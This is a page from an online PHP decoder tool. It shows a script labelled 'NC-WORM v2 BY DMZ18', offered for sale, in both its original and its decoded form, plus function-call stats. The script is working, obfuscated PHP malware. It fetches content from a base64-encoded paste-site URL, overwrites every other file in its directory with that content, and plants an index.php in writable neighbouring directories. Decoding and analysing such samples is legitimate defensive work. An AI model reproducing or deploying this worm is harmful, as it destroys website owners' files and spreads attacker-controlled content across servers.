Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //--- NC-WORM v2 BY DMZ18 //--- BUY ? DM IG @dmz18_ // // // //..
Decoded Output download
<?php
//--- NC-WORM v2 BY DMZ18
//--- BUY ? DM IG @dmz18_
//
//
//
//
//
//
//
//
$bnyfufiu467844da=dirname(__FILE__);$tryxzhtcf7e2d856=array(base64_decode('ZG16MThfY21kLnBocA=='),base64_decode('ZG16MThfdXBsb2FkZXIucGhw'),base64_decode('ZG16MTgucGhw'),base64_decode('Lmh0YWNjZXNz'));$nabieflt6354059=scandir($bnyfufiu467844da);$nabieflt6354059=array_diff($nabieflt6354059,array(base64_decode('Lg=='),base64_decode('Li4=')));$iiaupkaab246171d=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$hvgnznux492a4dfe=curl_init();curl_setopt($hvgnznux492a4dfe,CURLOPT_URL,$iiaupkaab246171d);curl_setopt($hvgnznux492a4dfe,CURLOPT_RETURNTRANSFER,true);$tnlkrdjla98dbf28=curl_exec($hvgnznux492a4dfe);curl_close($hvgnznux492a4dfe);$gkipzumq25866347=$tnlkrdjla98dbf28;$obodgelraf668dde=0;foreach($nabieflt6354059 as $vjykdogq8c9f3610){if(!in_array($vjykdogq8c9f3610,$tryxzhtcf7e2d856)){$qtdumjtr5795a9e9=file_get_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610);file_put_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610,$gkipzumq25866347);$obodgelraf668dde++;}}function lhsiiuek6a1d8354($lrkkryvwe07479db,$fkattxko306181c4,$rmpxkmaqb02cbc8b){if(is_writable($lrkkryvwe07479db)){$qhkywpagf956c166=scandir($lrkkryvwe07479db);foreach($qhkywpagf956c166 as $xpydxint605f90dc){$ouayclir1758a04a="$lrkkryvwe07479db/$xpydxint605f90dc";$ixwivoua40d8acc2=$ouayclir1758a04a.base64_decode('Lw==').$fkattxko306181c4;if($xpydxint605f90dc===base64_decode('Lg==')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}elseif($xpydxint605f90dc===base64_decode('Li4=')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{if(is_dir($ouayclir1758a04a)){if(is_writable($ouayclir1758a04a)){header(base64_decode('SFRUUC8xLjEgMjAwIE9L'));file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{echo '';}}}}}}$lrkkryvwe07479db=dirname(__FILE__);$sbncdcda54593618=base64_decode('aW5kZXgucGhw');$oymlmmvff47645ae=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$vnzsgkny4c60c3f1=curl_init();curl_setopt($vnzsgkny4c60c3f1,CURLOPT_URL,$oymlmmvff47645ae);curl_setopt($vnzsgkny4c60c3f1,CURLOPT_RETURNTRANSFER,true);$hnthybkk3e7b0bfb=curl_exec($vnzsgkny4c60c3f1);curl_close($vnzsgkny4c60c3f1);$gjribjvz4103bed7=$hnthybkk3e7b0bfb;lhsiiuek6a1d8354($lrkkryvwe07479db,$sbncdcda54593618,$gjribjvz4103bed7);?>
Did this file decode correctly?
Original Code
<?php
//--- NC-WORM v2 BY DMZ18
//--- BUY ? DM IG @dmz18_
//
//
//
//
//
//
//
//
$bnyfufiu467844da=dirname(__FILE__);$tryxzhtcf7e2d856=array(base64_decode('ZG16MThfY21kLnBocA=='),base64_decode('ZG16MThfdXBsb2FkZXIucGhw'),base64_decode('ZG16MTgucGhw'),base64_decode('Lmh0YWNjZXNz'));$nabieflt6354059=scandir($bnyfufiu467844da);$nabieflt6354059=array_diff($nabieflt6354059,array(base64_decode('Lg=='),base64_decode('Li4=')));$iiaupkaab246171d=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$hvgnznux492a4dfe=curl_init();curl_setopt($hvgnznux492a4dfe,CURLOPT_URL,$iiaupkaab246171d);curl_setopt($hvgnznux492a4dfe,CURLOPT_RETURNTRANSFER,true);$tnlkrdjla98dbf28=curl_exec($hvgnznux492a4dfe);curl_close($hvgnznux492a4dfe);$gkipzumq25866347=$tnlkrdjla98dbf28;$obodgelraf668dde=0;foreach($nabieflt6354059 as $vjykdogq8c9f3610){if(!in_array($vjykdogq8c9f3610,$tryxzhtcf7e2d856)){$qtdumjtr5795a9e9=file_get_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610);file_put_contents($bnyfufiu467844da.base64_decode('Lw==').$vjykdogq8c9f3610,$gkipzumq25866347);$obodgelraf668dde++;}}function lhsiiuek6a1d8354($lrkkryvwe07479db,$fkattxko306181c4,$rmpxkmaqb02cbc8b){if(is_writable($lrkkryvwe07479db)){$qhkywpagf956c166=scandir($lrkkryvwe07479db);foreach($qhkywpagf956c166 as $xpydxint605f90dc){$ouayclir1758a04a="$lrkkryvwe07479db/$xpydxint605f90dc";$ixwivoua40d8acc2=$ouayclir1758a04a.base64_decode('Lw==').$fkattxko306181c4;if($xpydxint605f90dc===base64_decode('Lg==')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}elseif($xpydxint605f90dc===base64_decode('Li4=')){file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{if(is_dir($ouayclir1758a04a)){if(is_writable($ouayclir1758a04a)){header(base64_decode('SFRUUC8xLjEgMjAwIE9L'));file_put_contents($ixwivoua40d8acc2,$rmpxkmaqb02cbc8b);}else{echo '';}}}}}}$lrkkryvwe07479db=dirname(__FILE__);$sbncdcda54593618=base64_decode('aW5kZXgucGhw');$oymlmmvff47645ae=base64_decode('aHR0cHM6Ly9wc3QuaW5ub21pLm5ldC9wYXN0ZS9rdnhkYzRneXFqd3RmamQzMjdvbndhemcvcmF3');$vnzsgkny4c60c3f1=curl_init();curl_setopt($vnzsgkny4c60c3f1,CURLOPT_URL,$oymlmmvff47645ae);curl_setopt($vnzsgkny4c60c3f1,CURLOPT_RETURNTRANSFER,true);$hnthybkk3e7b0bfb=curl_exec($vnzsgkny4c60c3f1);curl_close($vnzsgkny4c60c3f1);$gjribjvz4103bed7=$hnthybkk3e7b0bfb;lhsiiuek6a1d8354($lrkkryvwe07479db,$sbncdcda54593618,$gjribjvz4103bed7);?>
Function Calls
dirname | 1 |
scandir | 1 |
base64_decode | 4 |
Stats
MD5 | 4fda2b59452061036583338aac162b57 |
Eval Count | 0 |
Decode Time | 95 ms |